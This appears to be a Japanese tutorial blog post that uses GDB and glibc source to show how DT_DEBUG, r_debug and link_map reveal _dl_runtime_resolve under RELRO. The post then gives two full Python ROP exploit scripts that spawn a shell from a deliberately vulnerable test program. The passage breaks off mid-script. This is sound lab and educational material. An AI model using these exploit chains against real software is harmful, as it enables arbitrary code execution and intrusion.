*)$dynamic[8]->d_un->d_ptr (gdb) p *$r_debug $2 = {r_version = 0x1, r_map = 0xb7fff918, r_brk = 0xb7fed670, r_state = RT_CONSISTENT, r_ldbase = 0xb7fde000} (gdb) p *$r_debug->r_map $3 = {l_addr = 0x0, l_name = 0xb7ff7bc5 "", l_ld = 0x8049f08, l_next = 0xb7fdd858, l_prev = 0x0} (gdb) p *$r_debug->r_map->l_next $4 = {l_addr = 0xb7e29000, l_name = 0xb7fdd838 "/lib/i386-linux-gnu/libc.so.6", l_ld = 0xb7fced7c, l_next = 0xb7fff53c, l_prev = 0xb7fff918}
上の例では、dynamicセクションからDT_DEBUG (d_tag = 0x15) に対応するメモリアドレスを調べ、これをr_debug構造体として表示させている。
そして中にあるlink_map構造体の双方向リストをたどっている。
なお、set $foo=1
でGDB変数のセット、p *$ptr@n
でポインタが指すアドレスからn個分の要素を表示することができる。
また、次のようにptype(pt)コマンドを使って型を調べると、変数$r_debug
、$r_debug->r_map
がそれぞれr_debug構造体、link_map構造体として解釈されていることが確認できる。
(gdb) pt *$r_debug type = struct r_debug { int r_version; struct link_map *r_map; Elf32_Addr r_brk; enum {RT_CONSISTENT, RT_ADD, RT_DELETE} r_state; Elf32_Addr r_ldbase; } (gdb) pt *$r_debug->r_map type = struct link_map { Elf32_Addr l_addr; char *l_name; Elf32_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; }
関連リンク
ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避
「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらにRELROが有効な場合について、DT_DEBUGシンボルを利用したシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
実行時におけるPLT、GOTセクションの内容を調べてみる
Return-to-dl-resolveでは、実行時にGOTセクションの先頭にセットされる_dl_runtime_resolve関数のアドレスを利用していた。 しかし、lazy bindingが無効な場合、GOTアドレスの値は実行直後に解決され、それ以降解決されることはない。 そこで、gdbを使い、実行時におけるPLT、GOTセクションの内容を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049fe0 - 0x0804a000 is .got (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049fe4 0x8048306: jmp DWORD PTR ds:0x8049fe8 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049fe4 0x8049fe4 <_GLOBAL_OFFSET_TABLE_+4>: 0x00000000 0x00000000 (gdb) quit
上の結果から、PLTセクションはRELROが無効の場合と変わらないが、GOTセクションに_dl_runtime_resolve関数のアドレスなどがセットされていないことがわかる。 実際にglibcのソースコードを調べてみると、これらのアドレスをセットする関数はx86の場合次のようになっている。
/* Set up the loaded object described by L so its unrelocated PLT entries will jump to the on-demand fixup code in dl-runtime.c. */ static inline int __attribute__ ((unused, always_inline)) elf_machine_runtime_setup (struct link_map *l, int lazy, int profile) { Elf32_Addr *got; extern void _dl_runtime_resolve (Elf32_Word) attribute_hidden; extern void _dl_runtime_profile (Elf32_Word) attribute_hidden; if (l->l_info[DT_JMPREL] && lazy) { /* The GOT entries for functions in the PLT have not yet been filled in. Their initial contents will arrange when called to push an offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1], and then jump to _GLOBAL_OFFSET_TABLE[2]. */ got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]); /* If a library is prelinked but we have to relocate anyway, we have to be able to undo the prelinking of .got.plt. The prelinker saved us here address of .plt + 0x16. */ if (got[1]) { l->l_mach.plt = got[1] + l->l_addr; l->l_mach.gotplt = (Elf32_Addr) &got[3]; } got[1] = (Elf32_Addr) l; /* Identify this shared object. */ /* The got[2] entry contains the address of a function which gets called to get the address of a so far unresolved function and jump to it. The profiling extension of the dynamic linker allows to intercept the calls to collect information. In this case we don't store the address in the GOT so that all future calls also end in this function. */ if (__builtin_expect (profile, 0)) { got[2] = (Elf32_Addr) &_dl_runtime_profile; if (GLRO(dl_profile) != NULL && _dl_name_match_p (GLRO(dl_profile), l)) /* This is the object we are looking for. Say that we really want profiling and the timers are started. */ GL(dl_profile_map) = l; } else /* This function will get called to fix up the GOT entry indicated by the offset on the stack, and then jump to the resolved address. */ got[2] = (Elf32_Addr) &_dl_runtime_resolve; } return lazy; }
上のコードから、変数lazyがfalse、すなわち遅延バインドが無効な場合、GOTセクションの2ワード目、3ワード目がセットされないことがわかる。
GOTセクションに書かれるアドレスの詳細を調べてみる
一旦RELROを無効にしてコンパイルし直し、GOTセクションの2ワード目、3ワード目に入っている値について調べてみる。
$ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049ff4 - 0x0804a010 is .got.plt (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049ff8 0x8048306: jmp DWORD PTR ds:0x8049ffc 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049ff8 0x8049ff8 <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff918 0xb7ff26a0
上のソースコードと比較すると、一つ目がライブラリの判別に使われるlink_map構造体、二つ目が_dl_runtime_resolve関数であることがわかる。 link_map構造体は各ライブラリのdynamicセクションのアドレスなどが書かれた構造体であり、双方向リストとしてライブラリごとの構造体を参照し合っている。 ソースコードから定義を調べると次のようになる。
/* Structure describing a loaded shared object. The `l_next' and `l_prev' members form a chain of all the shared objects loaded at startup. These data structures exist in space used by the run-time dynamic linker; modifying them may have disastrous results. */ struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ };
実際にgdbで対応する値を調べてみる。
(gdb) x/5wx 0xb7fff918 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0xb7fff928: 0x00000000 (gdb) x/s 0xb7ff7bc5 0xb7ff7bc5: "" (gdb) x/wx 0x08049f28 0x8049f28 <_DYNAMIC>: 0x00000001 (gdb) x/5wx 0xb7fdd858 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fdd868: 0xb7fff918 (gdb) x/s 0xb7fdd838 0xb7fdd838: "/lib/i386-linux-gnu/libc.so.6" (gdb) x/5wx 0xb7fff53c 0xb7fff53c <_rtld_global+1308>: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fff54c <_rtld_global+1324>: 0xb7fdd858 (gdb) x/s 0x08048154 0x8048154: "/lib/ld-linux.so.2" (gdb) i proc map 0xb7e29000 0xb7fcd000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so (gdb) i files 0xb7fced7c - 0xb7fcee6c is .dynamic in /lib/i386-linux-gnu/libc.so.6 0xb7ffef1c - 0xb7ffefd4 is .dynamic in /lib/ld-linux.so.2
上の結果を整理すると、次のようになる。
l_addr *l_name *l_ld *l_next *l_prev ---------- ---------- ---------- ---------- ---------- 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0x00000000 link_map[0] "" .dynamic link_map[1] 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fff918 link_map[1] base address "libc.so.6" .dynamic link_map[2] link_map[0] 0xb7fdd858: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fdd858 link_map[2] base address "ld-linux.so.2" .dynamic link_map[1]
リストの要素は、それぞれ実行ファイル、libc、ld-linux(ダイナミックリンカ)に対応している。 なお、この並びはlddコマンドが表示するものと同じである。
$ ldd a.out libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4b000) /lib/ld-linux.so.2 (0x80000000)
一方、_dl_runtime_resolve関数については次のような関数となっている。
(gdb) x/20i 0xb7ff26a0 0xb7ff26a0: push eax 0xb7ff26a1: push ecx 0xb7ff26a2: push edx 0xb7ff26a3: mov edx,DWORD PTR [esp+0x10] 0xb7ff26a7: mov eax,DWORD PTR [esp+0xc] 0xb7ff26ab: call 0xb7fec1d0 0xb7ff26b0: pop edx 0xb7ff26b1: mov ecx,DWORD PTR [esp] 0xb7ff26b4: mov DWORD PTR [esp],eax 0xb7ff26b7: mov eax,DWORD PTR [esp+0x4] 0xb7ff26bb: ret 0xc ...
dynamicセクションについて調べてみる
ここまでの内容より、link_map構造体から各ファイルのdynamicセクションのアドレスが得られることがわかった。 そこで、RELROを再度有効にし、readelfコマンドで実行ファイルのdynamicセクションの内容を表示してみる。
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out Dynamic section at offset 0xf08 contains 22 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x80482d0 0x0000000d (FINI) 0x804851c 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804822c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 80 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x8049fe0 0x00000002 (PLTRELSZ) 32 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482b0 0x00000011 (REL) 0x80482a8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x00000018 (BIND_NOW) 0x6ffffffb (FLAGS_1) Flags: NOW 0x6ffffffe (VERNEED) 0x8048288 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x804827c 0x00000000 (NULL) 0x0
上の内容を見ると、dynamicセクションから他のセクションのアドレスが得られることがわかる。 ここで、objdumpコマンドを使いdynamicセクションの中身をバイト列として出力すると次のようになる。
$ objdump -s -j.dynamic a.out a.out: file format elf32-i386 Contents of section .dynamic: 8049f08 01000000 10000000 0c000000 d0820408 ................ 8049f18 0d000000 1c850408 f5feff6f ac810408 ...........o.... 8049f28 05000000 2c820408 06000000 cc810408 ....,........... 8049f38 0a000000 50000000 0b000000 10000000 ....P........... 8049f48 15000000 00000000 03000000 e09f0408 ................ 8049f58 02000000 20000000 14000000 11000000 .... ........... 8049f68 17000000 b0820408 11000000 a8820408 ................ 8049f78 12000000 08000000 13000000 08000000 ................ 8049f88 18000000 00000000 fbffff6f 01000000 ...........o.... 8049f98 feffff6f 88820408 ffffff6f 01000000 ...o.......o.... 8049fa8 f0ffff6f 7c820408 00000000 00000000 ...o|........... 8049fb8 00000000 00000000 00000000 00000000 ................ 8049fc8 00000000 00000000 00000000 00000000 ................ 8049fd8 00000000 00000000 ........
readelfコマンドの出力と比較すると、TagとName/Valueが交互に並んでいることがわかる。 実際、dynamicセクションにはElf32_Dyn構造体が並んでおり、その定義は次のようになっている。
/* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_DEBUG 21 /* For debugging; unspecified */
なお、libcなどの共有ライブラリの場合d_ptrにはアドレスとしてファイル先頭からのオフセット値が入るが、実行時に実際のアドレスに置き換えられる。
ここで、DT_DEBUGに着目してみる。 DT_DEBUG (0x15) はgccが標準で埋め込むデバッグ用シンボルであり、対応するd_un共用体には実行時に次のr_debug構造体を指すアドレスが入る。
/* Rendezvous structure used by the run-time dynamic linker to communicate details of shared object loading to the debugger. If the executable's dynamic section has a DT_DEBUG element, the run-time linker sets that element's value to the address where this structure can be found. */ struct r_debug { int r_version; /* Version number for this protocol. */ struct link_map *r_map; /* Head of the chain of loaded objects. */ /* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ ElfW(Addr) r_brk; enum { /* This state value describes the mapping change taking place when the `r_brk' address is called. */ RT_CONSISTENT, /* Mapping change is complete. */ RT_ADD, /* Beginning to add a new object. */ RT_DELETE /* Beginning to remove an object mapping. */ } r_state; ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */ }; /* This is the instance of that structure used by the dynamic linker. */ extern struct r_debug _r_debug;
static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry, ElfW(auxv_t) *auxv) { (snip) /* Initialize _r_debug. */ struct r_debug *r = _dl_debug_initialize (GL(dl_rtld_map).l_addr, LM_ID_BASE); (snip) /* Set up debugging before the debugger is notified for the first time. */ #ifdef ELF_MACHINE_DEBUG_SETUP /* Some machines (e.g. MIPS) don't use DT_DEBUG in this way. */ ELF_MACHINE_DEBUG_SETUP (main_map, r); ELF_MACHINE_DEBUG_SETUP (&GL(dl_rtld_map), r); #else if (main_map->l_info[DT_DEBUG] != NULL) /* There is a DT_DEBUG entry in the dynamic section. Fill it in with the run-time address of the r_debug structure */ main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; /* Fill in the pointer in the dynamic linker's own dynamic section, in case you run gdb on the dynamic linker directly. */ if (GL(dl_rtld_map).l_info[DT_DEBUG] != NULL) GL(dl_rtld_map).l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; #endif (snip) }
この構造体は、gdbが動的にロードされたライブラリの情報を取得するためなどに使われている。
実際に、gdbでDT_DEBUG (0x15) に対応する値を確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08049f08 - 0x08049fe0 is .dynamic (gdb) x/60wx 0x08049f08 0x8049f08 <_DYNAMIC>: 0x00000001 0x00000010 0x0000000c 0x080482d0 0x8049f18 <_DYNAMIC+16>: 0x0000000d 0x0804851c 0x6ffffef5 0x080481ac 0x8049f28 <_DYNAMIC+32>: 0x00000005 0x0804822c 0x00000006 0x080481cc 0x8049f38 <_DYNAMIC+48>: 0x0000000a 0x00000050 0x0000000b 0x00000010 0x8049f48 <_DYNAMIC+64>: 0x00000015 0xb7fff904 0x00000003 0x08049fe0 0x8049f58 <_DYNAMIC+80>: 0x00000002 0x00000020 0x00000014 0x00000011 ... 0x8049fd8 <_DYNAMIC+208>: 0x00000000 0x00000000 0x08049f08 0x00000000 0x8049fe8 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000 0xb7f08210 0x00000000 0xb7e423e0 (gdb) x/5wx 0xb7fff904 0xb7fff904 <_r_debug>: 0x00000001 0xb7fff918 0xb7fed670 0x00000000 0xb7fff914 <_r_debug+16>: 0xb7fde000
ここで、r_debug構造体のr_mapに0xb7fff918、すなわち実行ファイルのlink_mapが入っていることがわかる。
以上をまとめると、次の流れでlink_map構造体および_dl_runtime_resolve関数のアドレスが得られることがわかる。
- 実行ファイルのdynamicセクションから、DT_DEBUGに対応する値としてr_debug構造体のアドレスを得る
- r_debug構造体からlink_map構造体のアドレスを得る
- link_map構造体のl_nextをたどり、適当なライブラリ(LIB)のlink_map構造体を得る
- LIBのlink_map構造体から、LIBのdynamicセクションのアドレスを得る
- LIBのdynamicセクションから、DT_GOTPLTに対応する値としてLIBのGOTセクションのアドレスを得る
- LIBのGOTセクションから、3ワード目の値として_dl_runtime_resolve関数のアドレスを得る
ここで、各ライブラリのGOTセクションで参照される_dl_runtime_resolve関数は共通となるため、LIBはlibcでなくてもよい。
なお、DT_DEBUGシンボルはgccの代わりにclangを使った場合でも標準で埋め込まれ、stripコマンドを使っても削除されない。
$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out 0x00000015 (DEBUG) 0x0 $ strip --strip-all a.out $ readelf -d a.out 0x00000015 (DEBUG) 0x0
エクスプロイトコードを書いてみる
以上の内容をもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x100 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_gotplt buf2 += struct.pack('<I', 12) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) addr_r_debug = p.stdout.read(4) print "[+] addr_r_debug = %08x" % struct.unpack('<I', addr_r_debug)[0] p.stdin.write(addr_r_debug) addr_link_map = p.stdout.read(20)[4:8] print "[+] addr_link_map = %08x" % struct.unpack('<I', addr_link_map)[0] p.stdin.write(addr_link_map) addr_link_map_lib = p.stdout.read(20)[12:16] print "[+] addr_link_map_lib = %08x" % struct.unpack('<I', addr_link_map_lib)[0] p.stdin.write(addr_link_map_lib) addr_lib_dynamic = p.stdout.read(20)[8:12] print "[+] addr_lib_dynamic = %08x" % struct.unpack('<I', addr_lib_dynamic)[0] p.stdin.write(addr_lib_dynamic) lib_dynamic = p.stdout.read(size_bulkread) addr_lib_gotplt = lib_dynamic.split('\x03\x00\x00\x00')[1][:4] print "[+] addr_lib_gotplt = %08x" % struct.unpack('<I', addr_lib_gotplt)[0] p.stdin.write(addr_lib_gotplt) addr_dl_resolve = p.stdout.read(12)[8:12] print "[+] addr_dl_resolve = %08x" % struct.unpack('<I', addr_dl_resolve)[0] p.stdin.write(addr_dl_resolve + addr_link_map) p.wait()
このコードは、オーバーフローさせるバッファサイズを引数に取る。 コードの内容としては、ROP stagerでbssセグメントに書き込みstack pivotした後、read/writeを使って順番にデータを読み書きしていく。 libcのdynamicセクションについては、変数size_bulkreadにて指定したサイズ(0x100)だけデータを読み込んだ後、DT_GOTPLT (0x3) に対応する値を切り出すことでGOTセクションのアドレスを得る。 そして最後に、得られたlink_map構造体と_dl_runtime_resolve関数のアドレスをもとに、Return-to-dl-resolveにてsystem関数を呼び出す。 ここで、解決したライブラリ関数のアドレスが書き込まれるElf32_Rel構造体のr_offsetには、GOTアドレスの代わりにbssセクションなど書き込み可能なアドレスをセットする。 これはRELROによりGOTセクションが書き込み不可となっているためである。
引数をセットし実行すると次のようになる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7730904 [+] addr_link_map = b7730918 [+] addr_link_map_lib = b770e858 [+] addr_lib_dynamic = b76ffd7c [+] addr_lib_gotplt = b76ffff4 [+] addr_dl_resolve = b77236a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEP+RELROが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
近い位置にあるデータをまとめて読み出してみる
上の結果から、r_debugとlink_map、lib_dynamicとlib_gotpltのアドレスが近いことがわかる。 そこで、これらをまとめて読み出すことで読み書きの回数を減らしてみると次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x400 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug and link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic and lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = 